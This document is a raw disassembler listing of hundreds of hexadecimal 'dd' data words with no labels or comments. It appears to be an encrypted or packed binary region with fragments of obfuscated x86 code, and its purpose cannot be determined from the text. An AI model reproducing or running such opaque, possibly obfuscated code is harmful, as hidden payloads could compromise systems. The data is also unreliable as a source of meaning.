		dd 8B08C783h, 0E72DF9B5h, 0B9F78705h, 8, 0B58BA4F3h, 5E72DF9h
		dd 29CB858Dh, 0D0FF05EBh, 858DC361h, 5EE218Ch, 2ED98589h
		dd 4EB05E7h, 0E6F68Fh, 500E9h, 0E0D6C200h, 0EBCBC368h
		dd 0E9D1DE65h, 0EDF1D867h, 0ECEAD463h, 4E22517Ch, 49D67A40h
		dd 49D67A42h, 47EC7C5Ch, 0DAEF6145h, 0C05B2D88h, 2D58C69Bh
		dd 547A527Dh, 0C9F13906h, 2975F07h, 0C375E2BEh,	2A0964B5h
		dd 0D6FEDCE2h, 327D5D49h, 87E6341Ah, 7F5F49A4h,	0D0F6D423h
		dd 4969BD8Ah, 3D1D0A75h, 78A188E1h, 0E5567A40h,	0F79659E5h
		dd 775771D3h, 795972D9h, 634348D7h, 0D1E5D01Fh,	6462E98Dh
		dd 0EFE7C7C4h, 4C7A4A40h, 88E13D0Eh, 0B098A7ADh, 6BB787B0h
		dd 8ED3102h, 0C375E2A3h, 0FA2FAB3Ah, 116C6C55h,	0D98E0A9Ah
		dd 2373CB67h, 38F1326Ch, 5F93684Bh, 0D7000000h,	225D7A52h
		dd 36EF3BD5h, 4D300E5Fh, 0C375F5F9h, 7F656564h,	67D977E5h
		dd 1E7h, 7852E300h, 280E1C23h, 4A3EFBD2h, 49C375E2h, 0E4D32F78h
		dd 2ABA80A6h, 0E03E1E05h, 4447AA89h, 13A66E60h,	0C375E2ADh
		dd 311A55A6h, 81FCCD11h, 0F397F641h, 0FB557551h, 44447CACh
		dd 0FCCD1C62h, 6452BC6Ch
		dd 0EF3F0856h, 6CDFF3CFh, 0EAD0DE6Ah, 684C5FE0h, 0D5F43B12h
		dd 615CADF1h, 624444D3h, 0A315A068h, 0A0C375E2h, 0DD2A1457h
		dd 3AE2E4D4h, 75E2299Fh, 9AD92AC3h, 0F793B8A4h,	14246D32h
		dd 8CE242D9h, 778267D9h, 0C4000000h, 8566452h, 0EBD4F23Fh
		dd 0AB939CD3h, 0D0BB045Ah, 2E2C1AB6h, 57D9FCA4h, 6CC375E2h
		dd 0E2E95F7Ah, 99EAC375h, 58E76D48h, 2512686Eh,	50FCC2E2h
		dd 0AB351FBBh, 4867D98Ch, 0BFDD880h, 8C375E8h, 0E8F67A3Fh
		dd 2613C375h, 10E1C816h, 4B1FE4C7h, 0B7000000h,	0EF2C78Fh
		dd 5C375E8h, 0E8897F34h, 0B98AC375h, 64526C7Ah,	0EE3F0856h
		dd 7734F0CEh, 0F1C9F153h, 6A358B5Fh, 5F3A1C22h,	2ED8CC35h
		dd 1A301F5Eh, 858D9234h, 0B50876B5h, 0C37533C0h, 868A0C5Fh
		dd 67D8BD0Eh, 13Eh, 65528800h, 0FAD27D55h, 91B195D4h, 9036C52h
		dd 615452Ch, 0AF2735FDh, 7575A60Ah, 36CBDC3h, 0B6D0BB3Fh
		dd 232D2D1Ah, 0EDE5A844h, 5D845BC8h, 0F3CF18C9h, 0AEA28484h
		dd 5BA78781h, 922A10E6h, 0B98189C6h, 2D2D1A65h,	85A5E6D1h
		dd 0EB4C4AF1h, 7549A084h, 32E839C6h, 0D9F35179h, 0DCCC5BF5h
		dd 715BA4FAh, 0EFDA656Dh, 7BBA93EFh, 0DEF86307h, 0D4745A72h
		dd 231B0728h, 2FBB55C0h, 2C8961F2h, 0C1000001h,	6170E469h
		dd 0A382019Ah, 2FEE0237h, 93B398A7h, 0B73F7E4Fh, 5CF71562h
		dd 0E633FBC9h, 0C692F612h, 10E5C011h, 9C8CFBC7h, 41EE96BAh
		dd 0CD1C625Ah, 0A58983EEh, 18310959h, 8842ADBBh, 0CCDC3372h
		dd 4BF094EAh, 8BABFD4Fh, 0BCE4645h, 370F61F2h, 644F4BFEh
		dd 308DE8BEh, 2Eh, 2EED02B2h, 0E37F11A4h, 2B74C375h, 0E29E62D7h
		dd 0F45CC375h, 2587CABh, 0F199C82Bh, 0A72FEC03h, 75E37E12h
		dd 242475C3h, 0A273h, 0EE02A700h, 0D12A72Fh, 0CAC95CE8h
		dd 53DA5F9h, 142FFEFEh,	9E469805h, 82488968h, 424AA984h
		dd 4547EC7Ch, 8DB51D61h, 922A4028h, 337243C6h, 922BEF56h
		dd 104C7AC6h, 0F6C41539h, 463A659Eh, 4CA32301h,	80247A5Ch
		dd 3B6DBFDBh, 95E6C71Bh, 0E324A2E9h, 0D684E5Ch,	8EC0E626h
		dd 0D0DF3C6h, 3506C692h, 6F7D7AF6h, 6BB49AB0h, 0EA675663h
		dd 137CCC83h, 86A8E0CFh, 335704B8h, 606A2BC1h, 0B2146655h
		dd 0B81263C2h, 0D15325F0h, 7E50D2B1h, 0B1D1D55Bh, 4C9DEED2h
		dd 0D1C9BF1Ah, 0F9CAD2B1h, 292B6BAh, 12A72FEEh,	0C964052Bh
		dd 0A50BAE20h, 37C69BC0h, 0D6C16374h, 0E435860Bh, 7361D7E2h
		dd 1162C69Bh, 0A5B68EC0h, 0BB013612h, 0D11E6043h, 0D279D7F7h
		dd 0DE86D4FAh, 29755571h, 0BB941CB9h, 5EAFC69Bh, 39492E0Dh
		dd 0A8CD90EDh, 10B9921h, 404133Dh, 0F4C5F13Ch, 6E4E59A6h
		dd 0DEE42710h, 449AEBD3h, 300E4E7Bh, 2F933774h,	0DC6C08Bh
		dd 0E8CBEB22h, 0AAAA8385h, 94933526h, 210EC213h, 0E0FBC7E7h
		dd 3, 526F2336h, 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h
		dd 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h
		dd 1E6168h, 241C8900h, 81E38953h, 4C3h,	4EB8100h, 87000000h
		dd 895C241Ch, 89522404h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 242C895Ch, 7574BD55h, 814D33ADh, 9B018FC5h, 72ED8114h
		dd 55425A54h, 8B545D58h, 0C483242Ch, 60986804h,	4890000h
		dd 242C8124h, 28473DBh,	8108458Fh, 73DB0845h, 2C8B0284h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5324048Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0F4E95C24h, 6FFFF955h
		dd 0BD72B164h, 137EFBF5h, 680CE233h, 26E7B876h,	0C50305EEh
		dd 0C5F5E0FFh, 639B6741h, 0EFC5493Eh, 0EF873A5Bh, 0F39D0BF9h
		dd 3BCB520Ch, 299375AAh, 0E1C290Fh, 2D207A3Ah, 63FA7A68h
		dd 4EB1AC9h, 5A291Eh, 513E9h, 0A4929E00h, 0AF8F9FA4h, 0ADAD9AA1h
		dd 91B594A3h, 90A690BFh, 0A5E15B8h, 5123E1Ch, 5123E1Eh
		dd 3282000h, 862B2509h,	0C507E9CCh, 111CC69Bh, 547A52B9h
		dd 0C9F13906h, 0CE103807h, 0A18587F0h, 0EC546129h, 1EC375E2h
		dd 75E235BBh, 2CFDCEC3h, 519EE0C3h, 7D414B75h, 6661CE2Ch
		dd 0E6C8C060h, 0F6C8DD6Ah, 0A9A7F0D6h, 0ACFA4DE5h, 750753B3h
		dd 0C0230C4Ch, 3698B8EDh, 7AC5AB0Eh, 8DDEC375h,	386750AEh
		dd 0D1BA3E1Ch, 12321BA9h, 2B3E763Eh, 80208F5h, 828AE9C4h
		dd 169B5EBCh, 8DC3756Bh, 1B64BA9Ah, 0E4D32F2Fh,	0AE1D81A5h
		dd 3CAF8628h, 51EB69Ah,	7E2E67D9h, 0A4000000h, 51ADB19Bh
		dd 52AD3D78h, 7D5D4A7Ah, 876BCE2Ch, 6C375E2h, 0BF01945Ch
		dd 0B4C375E2h, 0E05D6B62h, 0B081509Bh, 0A3646275h, 4AA98D9Ch
		dd 0D94E45DFh, 10767h, 52430000h, 5C045A78h, 0BBF6C6F3h
		dd 19704E8Eh, 0F7D7F7DAh, 774D5CABh, 0DC2D7155h, 0E2592F8Ah
		dd 95AC375h, 6915E238h,	0BCC7A9D1h, 83E20FD4h, 301AB6D0h
		dd 0E924C41Bh, 97E0D76Ch, 60AAF5B9h, 0CE2D7C42h, 4B85A9E3h
		dd 56645287h, 0CFEF3F08h, 6A6CDFF3h, 66EAD0DEh,	0E7EFCFD9h
		dd 0F6E7058h, 0E3DBC433h, 0FE98B39Fh, 0D98C8AEAh, 5C5A67h
		dd 526C0000h, 58085664h, 0B18CC8F7h, 19655542h,	301B24AEh
		dd 0BCFFCE2Ch, 131FAD2Dh, 101E252Bh, 0A0EBD42Ah, 0F992BE9Ch
		dd 8C69CBD1h, 5F7B67D9h, 4F000000h, 7C566452h, 8BD7E7D3h
		dd 7B4472BCh, 0B19EC638h, 1D6CB28Ah, 0FADAF3DEh, 27A3E8A4h
		dd 15BD9D85h, 3517981Dh, 94D734CFh, 78528858h, 11624444h
		dd 0AEAD85CDh, 0CF0F38F9h, 0EC409AF3h, 0B613520Dh, 0C375D7C1h
		dd 106E7058h, 0F8C6E627h, 0E74B4F3Ch, 0D7BDDD8Ch, 67D9593Dh
		dd 10Fh, 65525B00h, 287D434Bh, 8ADB3208h, 7F5F4BB4h, 0B681DD2Eh
		dd 561EB096h, 75E2FD43h, 46A5F6C3h, 0F3974478h,	0F9596851h
		dd 0C75C5CDCh, 0C8A7A9FAh, 4C696124h, 0C95DA5DFh, 8774B94h
		dd 62123E00h, 5A91FBAh,	59AAC692h, 3115371Ah, 5A208EDh
		dd 0DF8CC692h, 1F3F69BBh, 0F7220D31h, 5392FBC7h, 340A2C7Ch
		dd 0A1FDC1CBh, 8F385E0Dh, 63845AB7h, 555DF4DBh,	0E7301965h
		dd 5F7FA984h, 866A4F77h, 9DC6922Ch, 0A5B7B52h, 2EA6252Bh
		dd 1E61F1C0h, 128h, 2FEE02A8h, 0CD858FA7h, 0D4AC6240h
		dd 0FBF8DD99h, 0F8C95C88h, 246453AFh, 76EA5E7Bh, 98E9C692h
		dd 4557551h, 92D7FC4h, 85C2CA35h, 92764830h, 207A4BC6h
		dd 837D2642h, 3C02538Bh, 62A723A8h, 88EBCBDDh, 8D4363A5h
		dd 0F22F861Eh, 41FFB761h, 0AF3CA4EFh, 72FD43A3h, 0C8199DBBh
		dd 4710EDh, 2520000h, 9BA42EEDh, 7B52A8ACh, 0BFFB0623h
		dd 42A11E0Dh, 0AB0BAD08h, 5FA8C375h, 0AACABE03h, 4300C375h
		dd 0FFDA8247h, 0C375AA09h, 0C7FA390Ah, 31871228h, 32C375AAh
		dd 9B3E90E1h, 0C375ABC5h, 0F8A3ADFEh, 80h, 2FEE022Eh, 0E80D12A7h
		dd 0F0CAC95Ch, 0D2F89E58h, 790CAA8Ch, 0CA35095Ah, 0C76CFCC2h
		dd 359DE1C5h, 0C9E9220Dh, 69DF94F5h, 6AC692E6h,	0E6E35560h
		dd 97E0C692h, 33826746h, 0A6C692E7h, 0C7B4767h,	0D2E63402h
		dd 71448109h, 0C692E78Fh, 0B46ABB84h, 916D3F7h,	97FA3901h
		dd 0C0BF91B5h, 5461692Ch, 0CC830FADh, 0BE89D526h, 3906486Eh
		dd 97EBCAF2h, 0A25E78E3h, 0B2074F4Eh, 0C2B1268Fh, 75153B04h
		dd 0A31EE02h, 4C9DEC32h, 0C5CD521Ah, 2ED1B6F5h,	0ABC9640Ah
		dd 6D48705Ah, 0C69BCA9Bh, 0F7E14698h, 898CBB4Ah, 3D8316B8h
		dd 36C69BB3h, 4FB886E5h
		dd 48D7795Dh, 5D207E40h, 0CCC7B989h, 9557950h, 0F2C8EE3Eh
		dd 0E4444205h, 6CBD81A5h, 7E26AC03h, 11D6F6D1h,	0C8D7B5AFh
		dd 0E90FF42Dh, 9667C0E7h, 53776645h, 59F7D7F1h,	0A6F4DAF2h
		dd 1535113Eh, 0AE85E0C9h, 4F775F7Fh, 0BD81B5E0h, 9121976Ch
		dd 0D122C8D7h, 4843AC92h, 0E0291664h, 92B582D8h, 851D6CB2h
		dd 787EC0C6h, 7A32F793h, 8F2684BDh, 83EECD0Bh, 9CABA589h
		dd 0ED02A38Ch, 70845DB3h, 9FE8D65Bh, 735CAD4Bh,	3AC2Fh
		dd 23FA0000h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh
		dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h,	3A18327Dh
		dd 545702E4h, 4C7815Fh,	83000000h, 3C8704EFh, 89575C24h
		dd 4C781E7h, 83000000h,	3C8704EFh, 1C895C24h, 0C26824h
		dd 4890000h, 41685224h,	5A71690Dh, 0C103EAC1h, 0EAD106E2h
		dd 0F61DC281h, 0D389FE60h, 0D1F3815Ah, 6841EB0Ch, 2793h
		dd 81242489h, 42404h, 53580000h, 0FF08408Fh, 81582434h
		dd 4C4h, 241C8B00h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 0F9509AE9h, 9C3D35FFh, 0EE2C5DB8h, 0FFC50305h, 8FEE43E0h
		dd 13BE9C00h, 5E6EE35Dh, 0E03C3E0Bh, 6605311h, 8EB12h
		dd 0A000000h, 0E978EC8Bh, 4C2h,	0EE2E0D68h, 5061E905h
		dd 9168FFF9h, 0E905EE2Eh, 0FFF95057h, 0EE304168h, 504DE905h
		dd 4D7BFFF9h, 5278C709h, 4A77DC0Ch, 5671DE72h, 454DDA76h
		dd 0BBCADB75h, 4D83BBE7h, 4D83BBE6h, 4B85A5E6h,	468AACFCh
		dd 0E2566363h, 0E1C69BCFh, 6452C4B2h, 0ED3F0856h, 6CBE81C9h
		dd 0AE16F4Eh, 0AAF27E6h, 0C95D1165h, 68CD1162h,	0C692CC8Ch
		dd 0A3A9D1FAh, 61F26031h, 35513h, 49F34B00h, 0BF0194F8h
		dd 0B4C69236h, 2FD136Bh, 35CC9AD9h, 0C01E3C6Ah,	5E118AE9h
		dd 0C8F03906h, 7B1AD6EDh, 0F5C1CC53h, 3C743CB6h, 0D39531B2h
		dd 3790D3F3h, 0C95C644Ah, 0CB547E4Fh, 36BDF8DCh, 0C5E9230Ch
		dd 0F45590F9h, 0C53CDF87h, 0FEE6AE42h, 0EA8629AEh, 0F8DDF5C6h
		dd 0CA109A57h, 0E0FFC32Ch, 9941090Ch, 97A21EA1h, 95D047CCh
		dd 6EDB5934h, 490152C0h, 8F9EA6E6h, 0A5F25EAFh,	0E1DE4363h
		dd 0E9736C87h, 32A0A51h, 515F0000h, 4E5CEB65h, 6E5BE068h
		dd 7255E26Eh, 6951FE52h, 9FD6FF51h, 51FFDFCBh, 51FFDFCAh
		dd 6FE1C1CAh, 6AE6C8C0h, 0C6AA0F47h, 0DDC69BCCh, 0EE02F8AEh
		dd 0A012A72Fh, 0AFC9640Fh, 18664840h, 41EEE031h, 0CBBD1859h
		dd 0C8C69BCFh, 1B24AEFFh, 0FBD2282Ch, 70B38BB4h, 4D6B57FCh
		dd 1F3F6846h, 5699EAC3h, 36045575h, 6DD3E6AEh, 66C69BCFh
		dd 8271D615h, 11C69BCFh, 376A1737h, 3B6A3FBBh, 2A6BC1Fh
		dd 0D5C30000h, 0CAC06FE1h, 0D2DF64E4h, 0CED966EAh, 0EDD562EEh
		dd 235263EDh, 0D57B434Fh, 0D57B434Eh, 0D37D5D4Eh, 0EE624444h
		dd 5A2E8BDBh, 59C69BCCh, 0EE027C2Ah, 0A012A72Fh, 56C9640Fh
		dd 15F332DEh, 0CE2D8399h, 6BCE2C7Dh, 0C69BB789h, 0A6AA2CFFh
		dd 61EB352Eh, 5A7F27EFh, 0C69BBFD6h, 51279CEDh,	52C69BBFh
		dd 0D8FE2E01h, 0F348AB82h, 1DAh, 226A35F7h, 0E2E85065h
		dd 9AEBC375h, 0D5147549h, 0BF92D1F1h, 0C440406Dh, 79DEE577h
		dd 8D99A628h, 7704EADh,	0E1A92105h, 7E149C39h, 0DE2FC375h
		dd 757E9719h, 6043ACC3h, 34D917ECh, 6C3A0792h, 0EE3FC95Ch
		dd 4B572D90h, 0C8C2C692h, 60AB94EAh, 43567E5Ch,	0C6924BFDh
		dd 0AE1DA5F6h, 0A8AE9828h, 242A7B52h, 0E7796367h, 0E561F1E1h
		dd 3Eh,	216A35E1h, 91EC3D01h, 0B71FFEF2h, 5E8B78Fh, 0BF9C9EFDh
		dd 29C49AA1h, 0F0CA1B1Eh, 285CB687h, 4A2F0E1Eh,	0C95C5DF1h
		dd 9C61BD8Eh, 0C6925D18h, 371DBD6Eh, 61F1CF9Dh,	0DCAFh
		dd 7D353B00h, 0F5343019h, 0C1E1468Bh, 66E2E04Ah, 0D1FBD615h
		dd 479BBB93h, 99C91566h, 10C8A5A1h, 3679D563h, 9BF63515h
		dd 6453AFAFh, 75E00B24h, 0B78FCFFAh, 90E197DDh,	0B2B7D4Ah
		dd 8362F4C5h, 0D5F7C375h, 4CA05FF1h, 158C5140h,	0F8D12D2Dh
		dd 767648A6h, 5AE5AD25h, 38801572h, 3BC37585h, 184199EAh
		dd 77E94D9Dh, 64A90E6Dh, 98C95F09h, 72B195B7h, 0E352B981h
		dd 7428E073h, 929CA32Bh, 939FA4A4h, 6DB191B5h, 654E331Ch
		dd 0D6A3C5Ah, 0F6A635h,	25130000h, 3A103F11h, 226F3414h
		dd 3E69361Ah, 3D65321Eh, 0D3E2331Dh, 0A5AB939Fh, 0A5AB939Eh
		dd 0A3AD8D9Eh, 0BE92B494h, 8A7E5B0Bh, 89C69BD2h, 64522C9Ah
		dd 65CAFA56h, 0EE3F0323h, 9DDE4A94h, 44A74C0Fh,	311F3F69h
		dd 547A5211h, 0C9E65E06h, 0D455729Eh, 7FA984E7h, 0F6FAF15Fh
		dd 0A8040B1Eh, 0EF38E9AEh, 6C7258E7h, 0F6FC3F0Eh, 5D7A5723h
		dd 5B735CC9h, 0B4828C93h, 2E2C1A79h, 0AEAE9BA4h, 4430814Fh
		dd 0D1C6927Ah, 0D279D7F7h, 0D388D6E4h, 64h, 0CD09341Bh
		dd 6A35F8EEh, 0EE3F0323h, 19FCF08Fh, 0F9E64B1h,	4495C964h
		dd 3F1F0976h, 3C020A11h, 0B0F11BDEh, 0F5944596h, 6F5577D5h
		dd 6CA1B23h, 0F3CFEF39h, 29A18584h, 5B014A11h, 0C3229C0Ah
		dd 7610FBFFh, 0FAECF2DAh, 0D517155h, 2473C13Ch,	0D4FCC2E4h
		dd 1C763F5Ch, 78BB1819h, 379h, 6F23A100h, 0A506652h, 0F7CBEB3Dh
		dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h
		dd 7D4179A6h, 0E43A1832h, 0E1895102h, 4C181h, 0E9830000h
		dd 240C3304h, 33240C31h, 685C240Ch, 624Dh, 83241C89h, 348904ECh
		dd 4EC8124h, 89000000h,	29BA2414h, 8905EE2Dh, 8B545AD3h
		dd 0C4812434h, 4, 89D98951h, 0C8B084Eh,	4C48324h, 5724348Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h,	0C4815B24h
		dd 4, 0F94BAAE9h, 5CB848FFh, 305EE31h, 5BE0FFC5h, 7D614DEEh
		dd 0CB552517h, 0EB222E5Bh, 9BE8004h, 579E964h, 71BF0000h
		dd 6EBC8B45h, 8EBB8048h, 92B5824Eh, 89B19EB2h, 7F369FB1h
		dd 71DFFF2Bh, 71DFFF2Ah, 0FC1E12Ah, 0AC6E820h, 268A2FA7h
		dd 3DC69BD3h, 0D3598CEh, 75E2C0A8h, 0B3F2C3C3h,	606A4C5Ch
		dd 92E8CCDFh, 390678BBh, 0D981C9F1h, 75E274FCh,	0FF3E0FC3h
		dd 0D5E22A71h, 4866B9D7h, 83A3E858h, 0CC1D6EBFh, 0A78781EEh
		dd 183E6C5Bh, 410975C2h, 75E18C74h, 2E0E19C3h, 0DF28F9D0h
		dd 7FCDCD9Ch, 0FE41092Dh, 0AEAE95B3h, 0D2287950h, 72C6D3FBh
		dd 71C375E1h, 200FC520h, 0DB83CBEBh, 75E10AFEh,	0FD3809C3h
		dd 0C3E32877h, 0B185B0FFh, 0FC445119h, 0F7C375E1h, 785C4BA6h
		dd 2AB1C53Dh, 0F4D47BACh, 0E1BA0EABh, 68B9C375h, 0D4F1DC1Fh
		dd 0FB5AD2F4h, 976B604Ah, 965E92D1h, 0C98AEE9Eh, 0FDD5FB59h
		dd 751F50D8h, 230253C3h, 0A4FADCCCh, 751F6CD1h,	0F6D6F7C3h
		dd 684C5FA8h, 0B5D59612h, 27A32209h, 0D891A33Dh, 0C3CF5067h
		dd 63C3B8FBh, 87000000h, 6547A52h, 4DE4E65Eh, 1C5B3853h
		dd 0CCF27821h, 786BC375h, 60DA4A5Eh, 1EA67D9h, 0FC000000h
		dd 96237852h, 0C375E222h, 0CF87D021h, 0E2CEB207h, 0F4C5C375h
		dd 361949B9h, 9DEC3208h, 7B5B735Eh, 0EDF1D827h,	23A72691h
		dd 2DA58581h, 0E2E85065h, 9AEBC375h, 0F546BA40h, 195460D0h
		dd 7A5C4CDBh, 645232D6h, 22785E48h, 0E29167B2h,	4192C375h
		dd 0ECDB2770h, 6CD4E1BEh, 67C375E2h, 0D5F9C516h, 0D6C06066h
		dd 234C31E9h, 91F8C6F6h, 0B4A7F849h, 4E5EE56Bh,	0FC251268h
		dd 88B1FEDCh, 151D6AB0h, 0AB9D925h, 7F2C228Ch, 16EF715Bh
		dd 230C67D9h, 92FBC7F7h, 93EA53h, 52FC0000h, 0D37C5664h
		dd 0A28BD7E7h, 0AF577F43h, 75E2A60Ah, 2C3034C3h, 0B32AB7Fh
		dd 765677BAh, 0B9F0C128h, 6F4E6Eh, 0CEEE3917h, 6B56A1FDh
		dd 0EB200F53h, 9F88F7CBh, 7C0A63BFh, 8867CBCFh,	3F6BB9C1h
		dd 3C6A311Fh, 0D4F7C01Eh, 0EDBEAAF0h, 0CA7DE7EDh, 5F6F67D8h
		dd 67000000h, 0D4F6EED8h, 7041A8F6h, 0F2C8F039h, 520E589Bh
		dd 58085664h, 0E2B30590h, 67B0C375h, 27A3861Fh,	74B7350Fh
		dd 0CE2C0C19h, 0D3711952h, 47FFD7E7h, 0DC2C9439h, 559BDADCh
		dd 5A7852B5h, 0CCE45C04h, 0EFF7731Fh, 0BE03E4C7h, 21C37585h
		dd 40EF18BEh, 91046757h, 67D927FFh, 1CDh, 65529900h, 0E1590955h
		dd 2575D6C0h, 0DCCE21EBh, 6A49A0FEh, 0DD210507h, 349432D9h
		dd 661D330Bh, 0F6C38B8Ah, 0C95DC339h, 0C191ED3Eh, 0FCCB3969h
		dd 116C1182h, 4C4EA22h,	0F5C9ED3Fh, 9D00BA00h, 0B3D794C6h
		dd 0DAE22976h, 6B46A584h, 64331D21h, 943C0224h,	6A4A43ECh
		dd 88703514h, 8BC69D00h, 34147BBAh, 0F534020Ch,	58B18DCDh
		dd 1EEF470Fh, 91791F05h, 84281655h, 3711B3D7h, 0B9E54B6Eh
		dd 0ADFEC69Dh, 7FC08C5Ch, 0DA330F2Fh, 33940C9Bh, 994161F1h
		dd 0F6B38BB6h, 0C69D8502h, 0DEFC2E01h, 446AA28Dh, 6FD41776h
		dd 140h, 0D3F3D867h, 6B7FBE8Fh,	0C226EE02h, 0F270F51Fh
		dd 56636BB4h, 0C95C9F69h, 0C955146Eh, 4283DC66h, 4915971h
		dd 0C692DFBCh, 3B0766B7h, 0D0FADCCCh, 7B0EC758h, 0D9300E4Eh
		dd 47C4FE81h, 92EF8E72h, 6BB485C6h, 0FB3E2A13h,	4FAEE23Eh
		dd 4C92BA81h, 62CE666Eh, 0D9E1E560h, 10B6645h, 5CDE13Dh
		dd 0EC32103Ah, 0FBFA3494h, 0EC3DAF09h, 68B8DE91h, 0DD321E20h
		dd 61F1EB43h, 5901h, 7D354500h,	851E76BFh, 0B1CC2F51h
		dd 0A471593Ah, 0C375960Ch, 7F5F48A7h, 0A5F9CA23h, 1939123Dh
		dd 978B7DDAh, 2816C375h, 0A8E3CC12h, 0A912B684h, 46059D21h
		dd 8FB88740h, 0DB1A734Fh, 0B54D47A4h, 5C45A8D7h, 0D42A1219h
		dd 735BA4F5h, 75F002A6h, 0F850A1C3h, 6B3Fh, 0EE026B00h
		dd 0D12A72Fh, 0CAC95CE8h, 414ED1F9h, 9CC43A79h,	74B787B3h
		dd 212F0F19h, 0BA2C321Ah, 5291B195h, 0E52A896Ch, 410AC692h
		dd 9DA1EB39h, 5C38B4B3h, 0E59256B9h, 2CA6F7D9h,	83CC4789h
		dd 0EF331CCCh, 2CA68880h, 0D6240803h, 364AB4F7h, 19D725A5h
		dd 85AA5274h, 8015BD9Dh, 0C8A3E838h, 2E8BEA3Bh,	0C2B21E3Ah
		dd 20E068B9h, 0A72FEE02h, 6414CE12h, 0E4D37CC9h, 0D72095D0h
		dd 4A6CBC8Bh, 51F42800h, 7D0A59B3h, 2365323Eh, 0EF973F03h
		dd 492E9227h, 0D425C69Bh, 9B49A91Fh, 1659AAC6h,	77D0132Bh
		dd 20B3C0B0h, 0E9A3CAFh, 0B10381Eh, 96E13D01h, 374B97B7h
		dd 5EE122A4h, 724A7751h, 0AE8CDD2Ch, 0A4F4156h,	0DB2499A2h
		dd 0B393B598h, 0B096B69Dh, 0F1D57A6Ah, 41BC8DD1h, 0A7Eh
		dd 7323A800h, 82D8FE2Ch, 521E48ABh, 3D0A5066h, 88F7CBEBh
		dd 105FA383h, 0E2CD1125h, 4FB886B4h, 0D8277B43h, 0A691EDF1h
		dd 327D4179h, 2E43A18h,	4FF468h, 24148900h, 165768h, 241C8900h
		dd 4EC81h, 3C890000h, 77DCBB24h, 43436C95h, 4633B850h
		dd 0C331697Bh, 3C8B5458h, 4C48324h, 4EC81h, 4890000h, 89D88924h
		dd 8B580847h, 8951243Ch, 4C181E1h, 83000000h, 0C8704C1h
		dd 1C8B5C24h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 4611E95Ch, 0B82CFFF9h, 5EE36FBh, 0E0FFC503h,	35B24DAEh
		dd 5A333EBDh, 21D0959h,	7DE9EB4Fh, 5424187h, 2E00A9C7h
		dd 54E67A54h, 7F5F16A3h, 1FBD9BD9h, 2EA593B7h, 339411EFh
		dd 1D93F157h, 440906D8h, 32A3A564h, 41059D78h, 1DF6A504h
		dd 61C138FDh, 386C8D8Dh, 0F18B05EEh, 23158D89h,	6A05E7h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 897E31C3h, 54443865h, 0B985C70Eh, 1405E708h,	60000064h
		dd 0D15BD89h, 8A0F05E7h, 6, 441B589h, 0C76105E7h, 0E70C9985h
		dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0B663A239h, 9AEF649Dh, 2DB5FF4Ch
		dd 0F805E726h, 32CD95FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0F340BFC3h, 0ED4A2144h
		dd 95CEDE81h, 6A13D5h, 1A1D95FFh, 0C08B05E7h, 9ED53EEBh
		dd 848D94B0h, 138EC0A2h, 0F8A24C03h, 0CAE13B14h, 0DAC177Bh
		dd 4E0A607Bh, 5A37651Eh, 51FB46ACh, 83F072E2h, 0A0C9EB48h
		dd 1FEFCFB3h, 899D50Fh,	0D2619536h, 0D1A3CC68h,	7D604404h
		dd 270104EBh, 0E965B8h,	6800000Dh, 5EE3AA6h, 0F944B2E9h
		dd 3BB968FFh, 0A8E905EEh, 68FFF944h, 5EE3DEEh, 0F9449EE9h
		dd 3F1D68FFh, 94E905EEh, 68FFF944h, 5EE41ECh, 0F9448AE9h
		dd 432D68FFh, 80E905EEh, 68FFF944h, 5EE445Ch, 0F94476E9h
		dd 506652FFh, 5B7B53F8h, 5961AEF5h, 5D61A8F7h, 5C7AA4F3h
		dd 0DE92218Ch, 0D966EAD0h, 0D966EAD2h, 0D77CECCCh, 4A7FD1F5h
		dd 0DBCBBD18h, 0DDC8C69Bh, 5E7CAEF1h, 0DBDFA174h, 8BD4C69Bh
		dd 7A523EA8h, 0EF390654h, 3BE3F3CFh, 75E22A9Eh,	9DD829C3h
		dd 69B595B6h, 0D12D0D1Eh, 0BB87A7E6h, 0F1325407h, 75E25C24h
		dd 350657C3h, 1CAC2AB1h, 19262A0Ch, 7F272911h, 0ED5D78C7h
		dd 36EE976Fh, 576AF16Bh, 10E61B2h, 0A984E539h, 1E7C424Ah
		dd 0FFD7F7D1h, 185B7B50h, 0CCD11FD4h, 79C23F9Ah, 0E637C95Ch
		dd 745F2598h, 6229C692h, 0F4E47C64h, 43E061F1h,	0E2000000h
		dd 0A72FEE02h, 4E6650FFh, 0CF2E7F5Fh, 5CFE916Ah, 755DAEC9h
		dd 657B483Dh, 0EBCABD1Ah, 0B8522297h, 7C24C692h, 0B89F61B4h
		dd 486DC692h, 0C692B8E0h, 0F0C192E3h, 0BCA422B5h, 61F23424h
		dd 0F420h, 7A52A200h, 0F1390654h, 65A981C9h, 0E57260A4h
		dd 0E2946BEDh, 92E31F39h, 0D2BA5148h, 9CDFA57Dh, 0AF0A32A2h
		dd 0C37589D9h, 47AA89DAh, 0D21D6145h, 0FCC2CAFAh, 0D27E4F9Eh
		dd 8C7D0A22h, 0C37F6146h, 9DDC07E0h, 10BC375h, 0FACBEB23h
		dd 0FFDFC956h, 25E804A3h, 89F708ADh, 0BD8CC95Ch, 169A3F76h
		dd 2DC69271h, 5EAFF3DCh, 0C824C30Dh, 8FD3F3DBh,	0D68987B7h
		dd 8BD4088Ah, 0EFD7D6B3h, 0ED3EA7F6h, 7058D0E5h, 0B31BCCB8h
		dd 0A4449266h, 887A18C8h, 0BA5C8A65h, 0A29886E9h, 864E0051h
		dd 6E4D6DB9h, 29271703h, 79261402h, 7022D4EBh, 8B2EAD85h
